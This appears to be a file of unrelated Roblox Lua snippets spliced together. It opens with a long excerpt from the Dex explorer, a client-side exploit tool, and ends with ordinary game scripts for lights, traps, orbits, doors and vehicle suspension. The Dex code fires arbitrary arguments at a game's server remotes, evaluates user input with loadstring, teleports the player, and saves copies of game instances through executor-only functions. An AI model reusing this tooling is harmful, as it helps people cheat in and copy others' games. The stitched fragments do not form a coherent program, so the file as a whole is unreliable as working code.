local TableList = newCaution.MainWindow.TableResults
local TableTemplate = newCaution.MainWindow.TableTemplate
for i,v in pairs(msg) do
local newResult = TableTemplate:Clone()
newResult.Type.Text = type(v)
newResult.Value.Text = tostring(v)
newResult.Position = UDim2.new(0,0,0,#TableList:GetChildren() * 20)
newResult.Parent = TableList
TableList.CanvasSize = UDim2.new(0,0,0,#TableList:GetChildren() * 20)
newResult.Visible = true
end
newCaution.Parent = explorerPanel.Parent
newCaution.Visible = true
newCaution.MainWindow.Ok.MouseButton1Up:connect(function()
newCaution:Destroy()
end)
end
local function Split(str, delimiter)
local start = 1
local t = {}
while true do
local pos = string.find (str, delimiter, start, true)
if not pos then
break
end
table.insert (t, string.sub (str, start, pos - 1))
start = pos + string.len (delimiter)
end
table.insert (t, string.sub (str, start))
return t
end
local function ToValue(value,type)
if type == "Vector2" then
local list = Split(value,",")
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return Vector2.new(x,y)
elseif type == "Vector3" then
local list = Split(value,",")
if #list < 3 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
local z = tonumber(list[3]) or 0
return Vector3.new(x,y,z)
elseif type == "Color3" then
local list = Split(value,",")
if #list < 3 then return nil end
local r = tonumber(list[1]) or 0
local g = tonumber(list[2]) or 0
local b = tonumber(list[3]) or 0
return Color3.new(r/255,g/255, b/255)
elseif type == "UDim2" then
local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",")
if #list < 4 then return nil end
local xScale = tonumber(list[1]) or 0
local xOffset = tonumber(list[2]) or 0
local yScale = tonumber(list[3]) or 0
local yOffset = tonumber(list[4]) or 0
return UDim2.new(xScale, xOffset, yScale, yOffset)
elseif type == "Number" then
return tonumber(value)
elseif type == "String" then
return value
elseif type == "NumberRange" then
local list = Split(value,",")
if #list == 1 then
if tonumber(list[1]) == nil then return nil end
local newVal = tonumber(list[1]) or 0
return NumberRange.new(newVal)
end
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return NumberRange.new(x,y)
elseif type == "Script" then
local success,err = ypcall(function()
_G.D_E_X_DONOTUSETHISPLEASE = nil
loadstring(
"_G.D_E_X_DONOTUSETHISPLEASE = "..value
)()
return _G.D_E_X_DONOTUSETHISPLEASE
end)
if err then
return nil
end
else
return nil
end
end
local function ToPropValue(value,type)
if type == "Vector2" then
local list = Split(value,",")
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return Vector2.new(x,y)
elseif type == "Vector3" then
local list = Split(value,",")
if #list < 3 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
local z = tonumber(list[3]) or 0
return Vector3.new(x,y,z)
elseif type == "Color3" then
local list = Split(value,",")
if #list < 3 then return nil end
local r = tonumber(list[1]) or 0
local g = tonumber(list[2]) or 0
local b = tonumber(list[3]) or 0
return Color3.new(r/255,g/255, b/255)
elseif type == "UDim2" then
local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",")
if #list < 4 then return nil end
local xScale = tonumber(list[1]) or 0
local xOffset = tonumber(list[2]) or 0
local yScale = tonumber(list[3]) or 0
local yOffset = tonumber(list[4]) or 0
return UDim2.new(xScale, xOffset, yScale, yOffset)
elseif type == "Content" then
return value
elseif type == "float" or type == "int" or type == "double" then
return tonumber(value)
elseif type == "string" then
return value
elseif type == "NumberRange" then
local list = Split(value,",")
if #list == 1 then
if tonumber(list[1]) == nil then return nil end
local newVal = tonumber(list[1]) or 0
return NumberRange.new(newVal)
end
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return NumberRange.new(x,y)
elseif string.sub(value,1,4) == "Enum" then
local getEnum = value
while true do
local x,y = string.find(getEnum,".")
if y then
getEnum = string.sub(getEnum,y+1)
else
break
end
end
print(getEnum)
return getEnum
else
return nil
end
end
function PromptRemoteCaller(inst)
if CurrentRemoteWindow then
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
CurrentRemoteWindow = RemoteWindow:Clone()
CurrentRemoteWindow.Parent = explorerPanel.Parent
CurrentRemoteWindow.Visible = true
local displayValues = false
local ArgumentList = CurrentRemoteWindow.MainWindow.Arguments
local ArgumentTemplate = CurrentRemoteWindow.MainWindow.ArgumentTemplate
if inst:IsA("RemoteEvent") then
CurrentRemoteWindow.Title.Text = "Fire Event"
CurrentRemoteWindow.MainWindow.Ok.Text = "Fire"
CurrentRemoteWindow.MainWindow.DisplayReturned.Visible = false
CurrentRemoteWindow.MainWindow.Desc2.Visible = false
end
local newArgument = ArgumentTemplate:Clone()
newArgument.Parent = ArgumentList
newArgument.Visible = true
newArgument.Type.MouseButton1Down:connect(function()
createDDown(newArgument.Type,function(choice)
newArgument.Type.Text = choice
end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange")
end)
CurrentRemoteWindow.MainWindow.Ok.MouseButton1Up:connect(function()
if CurrentRemoteWindow and inst.Parent ~= nil then
local MyArguments = {}
for i,v in pairs(ArgumentList:GetChildren()) do
table.insert(MyArguments,ToValue(v.Value.Text,v.Type.Text))
end
if inst:IsA("RemoteFunction") then
if displayValues then
spawn(function()
local myResults = inst:InvokeServer(unpack(MyArguments))
if myResults then
CreateTableCaution("Remote Caller",myResults)
else
CreateCaution("Remote Caller","This remote did not return anything.")
end
end)
else
spawn(function()
inst:InvokeServer(unpack(MyArguments))
end)
end
else
inst:FireServer(unpack(MyArguments))
end
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
end)
CurrentRemoteWindow.MainWindow.Add.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
local newArgument = ArgumentTemplate:Clone()
newArgument.Position = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20)
newArgument.Parent = ArgumentList
ArgumentList.CanvasSize = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20)
newArgument.Visible = true
newArgument.Type.MouseButton1Down:connect(function()
createDDown(newArgument.Type,function(choice)
newArgument.Type.Text = choice
end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange")
end)
end
end)
CurrentRemoteWindow.MainWindow.Subtract.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
if #ArgumentList:GetChildren() > 1 then
ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy()
ArgumentList.CanvasSize = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20)
end
end
end)
CurrentRemoteWindow.MainWindow.Cancel.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
end)
CurrentRemoteWindow.MainWindow.DisplayReturned.MouseButton1Up:connect(function()
if displayValues then
displayValues = false
CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = false
else
displayValues = true
CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = true
end
end)
end
function PromptSaveInstance(inst)
if not SaveInstance and not _G.SaveInstance then CreateCaution("SaveInstance Missing","You do not have the SaveInstance function installed. Please go to RaspberryPi's thread to retrieve it.") return end
if CurrentSaveInstanceWindow then
CurrentSaveInstanceWindow:Destroy()
CurrentSaveInstanceWindow = nil
if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then
explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy()
end
end
CurrentSaveInstanceWindow = SaveInstanceWindow:Clone()
CurrentSaveInstanceWindow.Parent = explorerPanel.Parent
CurrentSaveInstanceWindow.Visible = true
local filename = CurrentSaveInstanceWindow.MainWindow.FileName
local saveObjects = true
local overwriteCaution = false
CurrentSaveInstanceWindow.MainWindow.Save.MouseButton1Up:connect(function()
if readfile and getelysianpath then
if readfile(getelysianpath()..filename.Text..".rbxmx") then
if not overwriteCaution then
overwriteCaution = true
local newCaution = ConfirmationWindow:Clone()
newCaution.Name = "SaveInstanceOverwriteCaution"
newCaution.MainWindow.Desc.Text = "The file, "..filename.Text..".rbxmx, already exists. Overwrite?"
newCaution.Parent = explorerPanel.Parent
newCaution.Visible = true
newCaution.MainWindow.Yes.MouseButton1Up:connect(function()
ypcall(function()
SaveInstance(inst,filename.Text..".rbxmx",not saveObjects)
end)
overwriteCaution = false
newCaution:Destroy()
if CurrentSaveInstanceWindow then
CurrentSaveInstanceWindow:Destroy()
CurrentSaveInstanceWindow = nil
end
end)
newCaution.MainWindow.No.MouseButton1Up:connect(function()
overwriteCaution = false
newCaution:Destroy()
end)
end
else
ypcall(function()
SaveInstance(inst,filename.Text..".rbxmx",not saveObjects)
end)
if CurrentSaveInstanceWindow then
CurrentSaveInstanceWindow:Destroy()
CurrentSaveInstanceWindow = nil
if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then
explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy()
end
end
end
else
ypcall(function()
if SaveInstance then
SaveInstance(inst,filename.Text..".rbxmx",not saveObjects)
else
_G.SaveInstance(inst,filename.Text,not saveObjects)
end
end)
if CurrentSaveInstanceWindow then
CurrentSaveInstanceWindow:Destroy()
CurrentSaveInstanceWindow = nil
if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then
explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy()
end
end
end
end)
CurrentSaveInstanceWindow.MainWindow.Cancel.MouseButton1Up:connect(function()
if CurrentSaveInstanceWindow then
CurrentSaveInstanceWindow:Destroy()
CurrentSaveInstanceWindow = nil
if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then
explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy()
end
end
end)
CurrentSaveInstanceWindow.MainWindow.SaveObjects.MouseButton1Up:connect(function()
if saveObjects then
saveObjects = false
CurrentSaveInstanceWindow.MainWindow.SaveObjects.enabled.Visible = false
else
saveObjects = true
CurrentSaveInstanceWindow.MainWindow.SaveObjects.enabled.Visible = true
end
end)
end
function DestroyRightClick()
if currentRightClickMenu then
currentRightClickMenu:Destroy()
currentRightClickMenu = nil
end
if CurrentInsertObjectWindow and CurrentInsertObjectWindow.Visible then
CurrentInsertObjectWindow.Visible = false
end
end
function rightClickMenu(sObj)
local mouse = game.Players.LocalPlayer:GetMouse()
currentRightClickMenu = CreateRightClickMenu(
{"Cut","Copy","Paste Into","Duplicate","Delete","Group","Ungroup","Select Children","Teleport To","Insert Part","Insert Object","View Script","Save Instance","Call Function","Call Remote"},
"",
false,
function(option)
if option == "Cut" then
if not Option.Modifiable then return end
clipboard = {}
local list = Selection.List
local cut = {}
for i = 1,#list do
local obj = list[i]:Clone()
if obj then
table.insert(clipboard,obj)
table.insert(cut,list[i])
end
end
for i = 1,#cut do
pcall(delete,cut[i])
end
updateActions()
elseif option == "Copy" then
if not Option.Modifiable then return end
clipboard = {}
local list = Selection.List
for i = 1,#list do
table.insert(clipboard,list[i]:Clone())
end
updateActions()
elseif option == "Paste Into" then
if not Option.Modifiable then return end
local parent = Selection.List[1] or workspace
for i = 1,#clipboard do
clipboard[i]:Clone().Parent = parent
end
elseif option == "Duplicate" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
list[i]:Clone().Parent = Selection.List[1].Parent or workspace
end
elseif option == "Delete" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
pcall(delete,list[i])
end
Selection:Set({})
elseif option == "Group" then
if not Option.Modifiable then return end
local newModel = Instance.new("Model")
local list = Selection:Get()
newModel.Parent = Selection.List[1].Parent or workspace
for i = 1,#list do
list[i].Parent = newModel
end
Selection:Set({})
elseif option == "Ungroup" then
if not Option.Modifiable then return end
local ungrouped = {}
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("Model") then
for i2,v2 in pairs(list[i]:GetChildren()) do
v2.Parent = list[i].Parent or workspace
table.insert(ungrouped,v2)
end
pcall(delete,list[i])
end
end
Selection:Set({})
if SettingsRemote:Invoke("SelectUngrouped") then
for i,v in pairs(ungrouped) do
Selection:Add(v)
end
end
elseif option == "Select Children" then
if not Option.Modifiable then return end
local list = Selection:Get()
Selection:Set({})
Selection:StopUpdates()
for i = 1,#list do
for i2,v2 in pairs(list[i]:GetChildren()) do
Selection:Add(v2)
end
end
Selection:ResumeUpdates()
elseif option == "Teleport To" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("BasePart") then
pcall(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = list[i].CFrame
end)
break
end
end
elseif option == "Insert Part" then
if not Option.Modifiable then return end
local insertedParts = {}
local list = Selection:Get()
for i = 1,#list do
pcall(function()
local newPart = Instance.new("Part")
newPart.Parent = list[i]
newPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.Head.Position) + Vector3.new(0,3,0)
table.insert(insertedParts,newPart)
end)
end
elseif option == "Save Instance" then
if not Option.Modifiable then return end
local list = Selection:Get()
if #list == 1 then
list[1].Archivable = true
ypcall(function()PromptSaveInstance(list[1]:Clone())end)
elseif #list > 1 then
local newModel = Instance.new("Model")
newModel.Name = "SavedInstances"
for i = 1,#list do
ypcall(function()
list[i].Archivable = true
list[i]:Clone().Parent = newModel
end)
end
PromptSaveInstance(newModel)
end
elseif option == "Call Remote" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("RemoteFunction") or list[i]:IsA("RemoteEvent") then
PromptRemoteCaller(list[i])
break
end
end
elseif option == "View Script" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("LocalScript") or list[i]:IsA("ModuleScript") then
ScriptEditorEvent:Fire(list[i])
end
end
end
end)
currentRightClickMenu.Parent = explorerPanel.Parent
currentRightClickMenu.Position = UDim2.new(0,mouse.X,0,mouse.Y)
if currentRightClickMenu.AbsolutePosition.X + currentRightClickMenu.AbsoluteSize.X > explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X then
currentRightClickMenu.Position = UDim2.new(0, explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X - currentRightClickMenu.AbsoluteSize.X, 0, mouse.Y)
end
end
local function cancelReparentDrag()end
local function cancelSelectDrag()end
do
local listEntries = {}
local nameConnLookup = {}
local mouseDrag = Create('ImageButton',{
Name = "MouseDrag";
Position = UDim2.new(-0.25,0,-0.25,0);
Size = UDim2.new(1.5,0,1.5,0);
Transparency = 1;
AutoButtonColor = false;
Active = true;
ZIndex = 10;
})
local function dragSelect(last,add,button)
local connDrag
local conUp
conDrag = mouseDrag.MouseMoved:connect(function(x,y)
local pos = Vector2.new(x,y) - listFrame.AbsolutePosition
local size = listFrame.AbsoluteSize
if pos.x < 0 or pos.x > size.x or pos.y < 0 or pos.y > size.y then return end
local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex
-- Mouse may have made a large step, so interpolate between the
-- last index and the current.
for n = i<last and i or last, i>last and i or last do
local node = TreeList[n]
if node then
if add then
Selection:Add(node.Object)
else
Selection:Remove(node.Object)
end
end
end
last = i
end)
function cancelSelectDrag()
mouseDrag.Parent = nil
conDrag:disconnect()
conUp:disconnect()
function cancelSelectDrag()end
end
conUp = mouseDrag[button]:connect(cancelSelectDrag)
mouseDrag.Parent = GetScreen(listFrame)
end
local function dragReparent(object,dragGhost,clickPos,ghostOffset)
local connDrag
local conUp
local conUp2
local parentIndex = nil
local dragged = false
local parentHighlight = Create('Frame',{
Transparency = 1;
Visible = false;
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3.new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2.new(0,0,0,0);
Size = UDim2.new(1,0,0,1);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3.new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2.new(1,0,0,0);
Size = UDim2.new(0,1,1,0);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3.new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2.new(0,0,1,0);
Size = UDim2.new(1,0,0,1);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3.new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2.new(0,0,0,0);
Size = UDim2.new(0,1,1,0);
});
})
SetZIndex(parentHighlight,9)
conDrag = mouseDrag.MouseMoved:connect(function(x,y)
local dragPos = Vector2.new(x,y)
if dragged then
local pos = dragPos - listFrame.AbsolutePosition
local size = listFrame.AbsoluteSize
parentIndex = nil
parentHighlight.Visible = false
if pos.x >= 0 and pos.x <= size.x and pos.y >= 0 and pos.y <= size.y + ENTRY_SIZE*2 then
local i = math.ceil(pos.y/ENTRY_BOUND-2)
local node = TreeList[i + scrollBar.ScrollIndex]
if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then
parentIndex = i
local entry = listEntries[i]
if entry then
parentHighlight.Visible = true
parentHighlight.Position = UDim2.new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y)
parentHighlight.Size = UDim2.new(0,size.x-4,0,entry.AbsoluteSize.y)
end
end
end
dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
elseif (clickPos-dragPos).magnitude > 8 then
dragged = true
SetZIndex(dragGhost,9)
dragGhost.IndentFrame.Transparency = 0.25
dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected
dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
dragGhost.Parent = GetScreen(listFrame)
parentHighlight.Parent = listFrame
end
end)
function cancelReparentDrag()
mouseDrag.Parent = nil
conDrag:disconnect()
conUp:disconnect()
conUp2:disconnect()
dragGhost:Destroy()
parentHighlight:Destroy()
function cancelReparentDrag()end
end
local wasSelected = Selection.Selected[object]
if not wasSelected and Option.Selectable then
Selection:Set({object})
end
conUp = mouseDrag.MouseButton1Up:connect(function()
cancelReparentDrag()
if dragged then
if parentIndex then
local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex]
if parentNode then
parentNode.Expanded = true
local parentObj = parentNode.Object
local function parent(a,b)
a.Parent = b
end
if Option.Selectable then
local list = Selection.List
for i = 1,#list do
pcall(parent,list[i],parentObj)
end
else
pcall(parent,object,parentObj)
end
end
end
else
-- do selection click
if wasSelected and Option.Selectable then
Selection:Set({})
end
end
end)
conUp2 = mouseDrag.MouseButton2Down:connect(function()
cancelReparentDrag()
end)
mouseDrag.Parent = GetScreen(listFrame)
end
local entryTemplate = Create('ImageButton',{
Name = "Entry";
Transparency = 1;
AutoButtonColor = false;
Position = UDim2.new(0,0,0,0);
Size = UDim2.new(1,0,0,ENTRY_SIZE);
Create('Frame',{
Name = "IndentFrame";
BackgroundTransparency = 1;
BackgroundColor3 = GuiColor.Selected;
BorderColor3 = GuiColor.BorderSelected;
Position = UDim2.new(0,0,0,0);
Size = UDim2.new(1,0,1,0);
Create(Icon('ImageButton',0),{
Name = "Expand";
AutoButtonColor = false;
Position = UDim2.new(0,-GUI_SIZE,0.5,-GUI_SIZE/2);
Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
});
Create(Icon(nil,0),{
Name = "ExplorerIcon";
Position = UDim2.new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2);
Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
});
Create('TextLabel',{
Name = "EntryText";
BackgroundTransparency = 1;
TextColor3 = GuiColor.Text;
TextXAlignment = 'Left';
TextYAlignment = 'Center';
Font = FONT;
FontSize = FONT_SIZE;
Text = "";
Position = UDim2.new(0,2+ENTRY_SIZE+4,0,0);
Size = UDim2.new(1,-2,1,0);
});
});
})
function scrollBar.UpdateCallback(self)
for i = 1,self.VisibleSpace do
local node = TreeList[i + self.ScrollIndex]
if node then
local entry = listEntries[i]
if not entry then
entry = Create(entryTemplate:Clone(),{
Position = UDim2.new(0,2,0,ENTRY_BOUND*(i-1)+2);
Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE);
ZIndex = listFrame.ZIndex;
})
listEntries[i] = entry
local expand = entry.IndentFrame.Expand
expand.MouseEnter:connect(function()
local node = TreeList[i + self.ScrollIndex]
if #node > 0 then
if node.Expanded then
Icon(expand,NODE_EXPANDED_OVER)
else
Icon(expand,NODE_COLLAPSED_OVER)
end
end
end)
expand.MouseLeave:connect(function()
local node = TreeList[i + self.ScrollIndex]
if #node > 0 then
if node.Expanded then
Icon(expand,NODE_EXPANDED)
else
Icon(expand,NODE_COLLAPSED)
end
end
end)
expand.MouseButton1Down:connect(function()
local node = TreeList[i + self.ScrollIndex]
if #node > 0 then
node.Expanded = not node.Expanded
if node.Object == explorerPanel.Parent and node.Expanded then
CreateCaution("Warning","Please be careful when editing instances inside here, this is like the System32 of Dex and modifying objects here can break Dex.")
end
-- use raw update so the list updates instantly
rawUpdateList()
end
end)
entry.MouseButton1Down:connect(function(x,y)
local node = TreeList[i + self.ScrollIndex]
DestroyRightClick()
if GetAwaitRemote:Invoke() then
bindSetAwaiting:Fire(node.Object)
return
end
if not HoldingShift then
lastSelectedNode = i + self.ScrollIndex
end
if HoldingShift and not filteringWorkspace() then
if lastSelectedNode then
if i + self.ScrollIndex - lastSelectedNode > 0 then
Selection:StopUpdates()
for i2 = 1, i + self.ScrollIndex - lastSelectedNode do
local newNode = TreeList[lastSelectedNode + i2]
if newNode then
Selection:Add(newNode.Object)
end
end
Selection:ResumeUpdates()
else
Selection:StopUpdates()
for i2 = i + self.ScrollIndex - lastSelectedNode, 1 do
local newNode = TreeList[lastSelectedNode + i2]
if newNode then
Selection:Add(newNode.Object)
end
end
Selection:ResumeUpdates()
end
end
return
end
if HoldingCtrl then
if Selection.Selected[node.Object] then
Selection:Remove(node.Object)
else
Selection:Add(node.Object)
end
return
end
if Option.Modifiable then
local pos = Vector2.new(x,y)
dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos)
elseif Option.Selectable then
if Selection.Selected[node.Object] then
Selection:Set({})
else
Selection:Set({node.Object})
end
dragSelect(i+self.ScrollIndex,true,'MouseButton1Up')
end
end)
entry.MouseButton2Down:connect(function()
if not Option.Selectable then return end
DestroyRightClick()
curSelect = entry
local node = TreeList[i + self.ScrollIndex]
if GetAwaitRemote:Invoke() then
bindSetAwaiting:Fire(node.Object)
return
end
if not Selection.Selected[node.Object] then
Selection:Set({node.Object})
end
end)
entry.MouseButton2Up:connect(function()
if not Option.Selectable then return end
local node = TreeList[i + self.ScrollIndex]
if checkMouseInGui(curSelect) then
rightClickMenu(node.Object)
end
end)
entry.Parent = listFrame
end
entry.Visible = true
local object = node.Object
-- update expand icon
if #node == 0 then
entry.IndentFrame.Expand.Visible = false
elseif node.Expanded then
Icon(entry.IndentFrame.Expand,NODE_EXPANDED)
entry.IndentFrame.Expand.Visible = true
else
Icon(entry.IndentFrame.Expand,NODE_COLLAPSED)
entry.IndentFrame.Expand.Visible = true
end
-- update explorer icon
Icon(entry.IndentFrame.ExplorerIcon,ExplorerIndex[object.ClassName] or 0)
-- update indentation
local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE)
entry.IndentFrame.Position = UDim2.new(0,w,0,0)
entry.IndentFrame.Size = UDim2.new(1,-w,1,0)
-- update name change detection
if nameConnLookup[entry] then
nameConnLookup[entry]:disconnect()
end
local text = entry.IndentFrame.EntryText
text.Text = object.Name
nameConnLookup[entry] = node.Object.Changed:connect(function(p)
if p == 'Name' then
text.Text = object.Name
end
end)
-- update selection
entry.IndentFrame.Transparency = node.Selected and 0 or 1
text.TextColor3 = GuiColor[node.Selected and 'TextSelected' or 'Text']
entry.Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE)
elseif listEntries[i] then
listEntries[i].Visible = false
end
end
for i = self.VisibleSpace+1,self.TotalSpace do
local entry = listEntries[i]
if entry then
listEntries[i] = nil
entry:Destroy()
end
end
end
function scrollBarH.UpdateCallback(self)
for i = 1,scrollBar.VisibleSpace do
local node = TreeList[i + scrollBar.ScrollIndex]
if node then
local entry = listEntries[i]
if entry then
entry.Position = UDim2.new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2)
end
end
end
end
Connect(listFrame.Changed,function(p)
if p == 'AbsoluteSize' then
rawUpdateSize()
end
end)
local wheelAmount = 6
explorerPanel.MouseWheelForward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
end
end)
explorerPanel.MouseWheelBackward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
end
end)
end
|
--Colour ---------------------------------------------
|
script.Parent.Configuration.Colour.Changed:connect(function()
Model.Tilt.Lamp.SpotLight.Color = script.Parent.Configuration.Colour.Value
for i,v in pairs(Model.Tilt:GetChildren()) do
if v.Name == "Lamp" then
v.BrickColor = BrickColor.new(script.Parent.Configuration.Colour.Value)
end
end
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Meme" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- make the earth circle the sun around the y axis every 20 seconds
-- maintain the current distance between the earth and sun
-- update the rotation every 1/60s
|
local function orbitEarth()
local angle = 0
while true do
wait(1/60)
angle += (2*math.pi)/1200 -- 20 seconds to complete a circle
earth.Position = sun.Position + Vector3.new(math.cos(angle), 0, math.sin(angle)) * distance
end
end
|
-- This should work with FilteringEnabled
|
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name) == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Head") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Humanoid") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("HumanoidRootPart") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Left Shoulder") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Right Shoulder") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Neck") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Left Hip") == nil do
game:GetService("RunService").RenderStepped:wait()
end
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Right Hip") == nil do
game:GetService("RunService").RenderStepped:wait()
end
|
--[[
I should note that this works
amazingly in third person, but
not so much in first person.
--]]
|
debounce = true
local trap = script.Parent.Parent
function onTouched(i)
local h = i.Parent:findFirstChild("Humanoid")
if (h ~= nil and debounce == true) then --If the part is a player then
if script.Parent.Captured.Value == false then
debounce = false
h.Health = h.Health - h.Health/25 --Take 25% of the player's health away
i.Parent["LeftFoot"].Anchored = true --Anchor their legs
i.Parent["RightFoot"].Anchored = true
trap.Open.Transparency = 1 --Close the trap
trap.Close.Transparency = 0
script.Parent.Bang:Play() --Play audios
script.Parent.Ow:Play()
wait(0.5)
i.Parent.HumanoidRootPart.Anchored = true --Anchor their torso so they don't flail around
script.Parent.Captured.Value = true
wait(3) --Wait 3 seconds
script.Parent.ClickDetector.MaxActivationDistance = 16 --Make it so that you can set up the trap again
i.Parent["RightFoot"].Anchored = false --Free the player
i.Parent["LeftFoot"].Anchored = false
h.Jump = true --Make sure the player isn't glitched
i.Parent.HumanoidRootPart.Anchored = false
debounce = true
end
end
end
script.Parent.Touched:connect(onTouched)
|
-- Create the path object
|
local path = PathfindingService:CreatePath()
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
